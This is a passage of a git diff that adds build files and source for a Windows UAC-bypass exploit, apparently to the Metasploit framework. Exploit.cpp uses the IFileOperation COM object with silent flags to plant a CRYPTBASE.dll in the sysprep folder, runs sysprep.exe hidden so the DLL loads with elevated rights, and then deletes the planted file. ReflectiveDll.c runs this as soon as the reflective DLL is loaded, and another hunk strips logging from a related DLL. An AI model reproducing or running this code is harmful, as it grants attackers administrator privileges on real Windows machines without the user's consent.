+      <MinimalRebuild>false</MinimalRebuild>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
     </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <ClCompile>
@@ -117,6 +136,7 @@
       <IntrinsicFunctions>true</IntrinsicFunctions>
       <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
@@ -124,6 +144,9 @@
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
     </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <ClCompile>
@@ -134,6 +157,7 @@
       <IntrinsicFunctions>true</IntrinsicFunctions>
       <PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_WINDOWS;_USRDLL;WIN7ELEVATEDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
@@ -145,6 +169,9 @@
       <Path>
       </Path>
     </BuildLog>
+    <PostBuildEvent>
+      <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.2 "$(TargetDir)$(TargetFileName)" &gt; NUL</Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemGroup>
     <ClInclude Include="stdafx.h" />
diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp
old mode 100644
new mode 100755
index f064b8b4e6..21648f103f
--- a/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp
+++ b/external/source/exploits/bypassuac/Win7ElevateDll/dllmain.cpp
@@ -17,7 +17,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
 	//	Wee need to hide fact that we've started process thats why we immediately
 	//	Terminate host application.
 	//
-	CLogger::LogLine(TEXT("DLL: Hello"));
 
 	switch (ul_reason_for_call)
 	{
@@ -33,8 +32,6 @@ BOOL APIENTRY DllMain( HMODULE hModule,
 			startupInfo.cb = sizeof(startupInfo);
 			PROCESS_INFORMATION processInfo = {0};
 
-			CLogger::LogLine(TEXT("DLL: TIOR shell="));
-			CLogger::LogLine(cmd);
 
 			//
 			//	Create not visible window
diff --git a/external/source/exploits/bypassuac/make.msbuild b/external/source/exploits/bypassuac/make.msbuild
new file mode 100755
index 0000000000..53493e1385
--- /dev/null
+++ b/external/source/exploits/bypassuac/make.msbuild
@@ -0,0 +1,19 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\Win7Elevate.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86;x64" />
+
+  <Target Name="x86">
+    <Message Text="Building bypassuac x86" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="Building bypassuac x64" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
+  </Target>
+</Project>
+
diff --git a/external/source/exploits/bypassuac/x64/.keep b/external/source/exploits/bypassuac/x64/.keep
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/external/source/exploits/bypassuac_injection/.gitignore b/external/source/exploits/bypassuac_injection/.gitignore
new file mode 100644
index 0000000000..cfd9ebaa06
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/.gitignore
@@ -0,0 +1,151 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
\ No newline at end of file
diff --git a/external/source/exploits/bypassuac_injection/bypassuac_injection.sln b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln
new file mode 100755
index 0000000000..f37920bc8f
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/bypassuac_injection.sln
@@ -0,0 +1,28 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 2013
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Debug|x64 = Debug|x64
+		Release|Win32 = Release|Win32
+		Release|x64 = Release|x64
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
+		{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj
new file mode 100644
index 0000000000..0695003480
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj
@@ -0,0 +1,204 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
+    <RootNamespace>reflective_dll</RootNamespace>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectName>bypassuac</ProjectName>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <CharacterSet>MultiByte</CharacterSet>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <PlatformToolset>v120</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup>
+    <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <OutDir>$(SolutionDir)$(Configuration)\</OutDir>
+    <IntDir>$(Configuration)\</IntDir>
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
+    <IntDir>$(Platform)\$(Configuration)\</IntDir>
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <OutDir>$(SolutionDir)$(Configuration)\</OutDir>
+    <IntDir>$(Configuration)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName)-x86</TargetName>
+    <IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\</IncludePath>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <OutDir>$(SolutionDir)$(Configuration)\</OutDir>
+    <IntDir>$(Configuration)\</IntDir>
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName)-x64</TargetName>
+    <IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\;</IncludePath>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>EditAndContinue</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX86</TargetMachine>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Midl>
+      <TargetEnvironment>X64</TargetEnvironment>
+    </Midl>
+    <ClCompile>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>true</MinimalRebuild>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <TargetMachine>MachineX64</TargetMachine>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <Optimization>MaxSpeed</Optimization>
+      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>true</OptimizeReferences>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <TargetMachine>MachineX86</TargetMachine>
+    </Link>
+    <PostBuildEvent>
+      <Command>
+IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
+    mkdir "..\..\..\..\..\data\post\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Midl>
+      <TargetEnvironment>X64</TargetEnvironment>
+    </Midl>
+    <ClCompile>
+      <Optimization>MaxSpeed</Optimization>
+      <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <WholeProgramOptimization>false</WholeProgramOptimization>
+      <PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <PrecompiledHeader />
+      <WarningLevel>Level3</WarningLevel>
+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <CompileAs>CompileAsCpp</CompileAs>
+    </ClCompile>
+    <Link>
+      <OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>true</OptimizeReferences>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <TargetMachine>MachineX64</TargetMachine>
+    </Link>
+    <PostBuildEvent>
+      <Command>
+IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
+    mkdir "..\..\..\..\..\data\post\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="src\Exploit.cpp" />
+    <ClCompile Include="src\ReflectiveDll.c" />
+    <ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="src\Exploit.h" />
+    <ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
+    <ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
new file mode 100644
index 0000000000..4f0ba9b113
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
@@ -0,0 +1,119 @@
+#include "Exploit.h"
+
+void exploit()
+{
+
+	const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
+	const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
+	const wchar_t *sySysPrepExe = L"sysprep.exe";
+	const wchar_t *szElevDll = L"CRYPTBASE.dll";
+	const wchar_t *szSourceDll = L"CRYPTBASE.dll";
+	wchar_t szElevDir[MAX_PATH] = {};
+	wchar_t szElevDir_syswow64[MAX_PATH] = {};
+	wchar_t szElevDllFull[MAX_PATH] = {};
+	wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
+	wchar_t szElevExeFull[MAX_PATH] = {};
+	wchar_t path[MAX_PATH] = {};
+	wchar_t windir[MAX_PATH] = {};
+	const wchar_t *szElevArgs = L"";
+	const wchar_t  *szEIFOMoniker = NULL;
+	PVOID OldValue = NULL;
+
+	IFileOperation *pFileOp = NULL;
+	IShellItem *pSHISource = 0;
+	IShellItem *pSHIDestination = 0;
+	IShellItem *pSHIDelete = 0;
+
+	const IID *pIID_EIFO = &__uuidof(IFileOperation);
+	const IID *pIID_EIFOClass = &__uuidof(FileOperation);
+	const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
+
+	GetWindowsDirectoryW(windir, MAX_PATH);
+	GetTempPathW(MAX_PATH, path);
+
+	/* %temp%\cryptbase.dll */
+	wcscat_s(path, MAX_PATH, szSourceDll);
+	
+	/* %windir%\System32\sysprep\ */
+	wcscat_s(szElevDir, MAX_PATH, windir);
+	wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
+
+	/* %windir%\sysnative\sysprep\ */
+	wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
+	wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
+
+	/* %windir\system32\sysprep\cryptbase.dll */
+	wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
+	wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
+
+	/* %windir\sysnative\sysprep\cryptbase.dll */
+	wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
+	wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
+
+	/* %windir%\system32\sysprep\sysprep.exe */
+	wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
+	wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
+
+	if (CoInitialize(NULL) == S_OK)
+	{	
+		if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
+		{
+			if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
+			{
+				if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
+				{
+					if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
+					{
+						if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
+						{
+							/* Copy the DLL file to the sysprep folder*/
+							if (pFileOp->PerformOperations() == S_OK)
+							{
+								/* Execute sysprep.exe */
+								SHELLEXECUTEINFOW shinfo;
+								ZeroMemory(&shinfo, sizeof(shinfo));
+								shinfo.cbSize = sizeof(shinfo);
+								shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
+								shinfo.lpFile = szElevExeFull;
+								shinfo.lpParameters = szElevArgs;
+								shinfo.lpDirectory = szElevDir;
+								shinfo.nShow = SW_HIDE;
+
+								Wow64DisableWow64FsRedirection(&OldValue);
+								if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
+								{
+									WaitForSingleObject(shinfo.hProcess, 10000);
+									CloseHandle(shinfo.hProcess);
+								}
+
+								if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
+								{
+									if (0 != pSHIDelete)
+									{
+										if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
+										{
+                      pFileOp->PerformOperations();
+											// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
+											// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
+											// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
+											if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
+											{
+												if (0 != pSHIDelete)
+												{
+													if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
+													{
+														pFileOp->PerformOperations();
+													}
+												}
+											}
+										}
+									}
+								}
+							}
+						}
+					}
+				}
+			}
+		}
+	}
+}
diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h
new file mode 100644
index 0000000000..cce02e5bff
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h
@@ -0,0 +1,8 @@
+#include <Windows.h>
+#include <commctrl.h>
+#include <shlobj.h>
+#include <Shellapi.h>
+#include <stdio.h>
+#include <guiddef.h>
+
+EXTERN_C void exploit();
diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
new file mode 100644
index 0000000000..83b0c9fddb
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
@@ -0,0 +1,26 @@
+#include "ReflectiveLoader.h"
+#include "Exploit.h"
+
+extern HINSTANCE hAppInstance;
+
+BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
+{
+    BOOL bReturnValue = TRUE;
+	switch( dwReason ) 
+    { 
+		case DLL_QUERY_HMODULE:
+			if( lpReserved != NULL )
+				*(HMODULE *)lpReserved = hAppInstance;
+			break;
+		case DLL_PROCESS_ATTACH:
+			hAppInstance = hinstDLL;
+			exploit();
+			ExitProcess(0);
+			break;
+		case DLL_PROCESS_DETACH:
+		case DLL_THREAD_ATTACH:
+		case DLL_THREAD_DETACH:
+            break;
+    }
+	return bReturnValue;
+}
diff --git a/external/source/exploits/bypassuac_injection/make.bat b/external/source/exploits/bypassuac_injection/make.bat
new file mode 100644
index 0000000000..542886940b
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/make.bat
@@ -0,0 +1,38 @@
+@ECHO OFF
+IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
+
+IF "%1"=="x86" GOTO BUILD_X86
+IF "%1"=="X86" GOTO BUILD_X86
+IF "%1"=="x64" GOTO BUILD_X64
+IF "%1"=="X64" GOTO BUILD_X64
+
+ECHO "Building Exploits x64 and x86 (Release)"
+SET PLAT=all
+GOTO RUN
+
+:BUILD_X86
+ECHO "Building Exploits x86 (Release)"
+SET PLAT=x86
+GOTO RUN
+
+:BUILD_X64
+ECHO "Building Exploits x64 (Release)"
+SET PLAT=x64
+GOTO RUN
+
+:RUN
+ECHO "Building Bypass UAC Injection"
+msbuild.exe make.msbuild /target:%PLAT%
+
+
+FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
+SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
+echo Finished %ldt%
+
+GOTO :END
+
+:NEED_VS
+ECHO "This command must be executed from within a Visual Studio Command prompt."
+ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
+
+:END
diff --git a/external/source/exploits/bypassuac_injection/make.msbuild b/external/source/exploits/bypassuac_injection/make.msbuild
new file mode 100644
index 0000000000..9adb309502
--- /dev/null
+++ b/external/source/exploits/bypassuac_injection/make.msbuild
@@ -0,0 +1,19 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\bypassuac_injection.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86;x64" />
+
+  <Target Name="x86">
+    <Message Text="Building Bypass UAC (Injection) Release version x86" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="Building Bypass UAC (Injection) Release version x64" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
+  </Target>
+</Project>
+
